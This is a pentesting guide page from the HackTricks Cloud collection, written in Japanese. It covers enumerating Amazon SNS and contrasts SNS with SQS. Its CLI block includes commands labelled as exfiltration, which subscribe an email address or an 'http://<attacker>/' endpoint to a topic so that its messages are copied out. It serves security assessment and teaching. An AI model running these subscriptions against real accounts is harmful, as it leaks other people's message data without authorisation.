Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
2025-10-09 10:28:36 +00:00

78 lines
4.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS - SNS Enum
{{#include ../../../banners/hacktricks-training.md}}
## SNS
Amazon Simple Notification Service (Amazon SNS) は **完全に管理されたメッセージングサービス** として説明されています。これは **アプリケーション間** (A2A) と **アプリケーションから人** (A2P) の通信タイプの両方をサポートしています。
A2A通信の主な機能には **公開/購読 (pub/sub) メカニズム** が含まれます。これらのメカニズムは **トピック** を導入し、高スループットの **プッシュベースの多対多メッセージング** を可能にするために重要です。この機能は、分散システム、マイクロサービス、およびイベント駆動型サーバーレスアーキテクチャを含むシナリオで非常に有利です。これらのトピックを活用することで、発行システムは **広範囲の購読システム** にメッセージを効率的に配信し、ファンアウトメッセージングパターンを促進できます。
### **Difference with SQS**
**SQS****キューに基づく** サービスであり、ポイントツーポイント通信を可能にし、メッセージが **単一の消費者** によって処理されることを保証します。これは **少なくとも1回の配信** を提供し、標準およびFIFOキューをサポートし、再試行や遅延処理のためのメッセージ保持を許可します。\
一方、**SNS** は **公開/購読に基づくサービス** であり、メッセージを **複数の購読者** に同時にブロードキャストすることによって **1対多** の通信を可能にします。これは **メール、SMS、Lambda関数、HTTP/HTTPS** などのさまざまな購読エンドポイントをサポートし、ターゲットメッセージ配信のためのフィルタリングメカニズムを提供します。\
両方のサービスは分散システム内のコンポーネント間のデカップリングを可能にしますが、SQSはキュー通信に焦点を当て、SNSはイベント駆動型のファンアウト通信パターンを強調しています。
### **Enumeration**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> **トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できますHTTPまたはHTTPSは使用できません
>
> また、`--topic-arn`にリージョンが含まれていても、**`--region`**で正しいリージョンを指定することを確認してください。そうしないと、アクセスがないことを示すようなエラーが表示されますが、問題はリージョンです。
#### 認証されていないアクセス
{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
{{#endref}}
#### 権限昇格
{{#ref}}
../aws-privilege-escalation/aws-sns-privesc/README.md
{{#endref}}
#### ポストエクスプロイト
{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation/README.md
{{#endref}}
#### 永続性
{{#ref}}
../aws-persistence/aws-sns-persistence/README.md
{{#endref}}
## 参考文献
- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
{{#include ../../../banners/hacktricks-training.md}}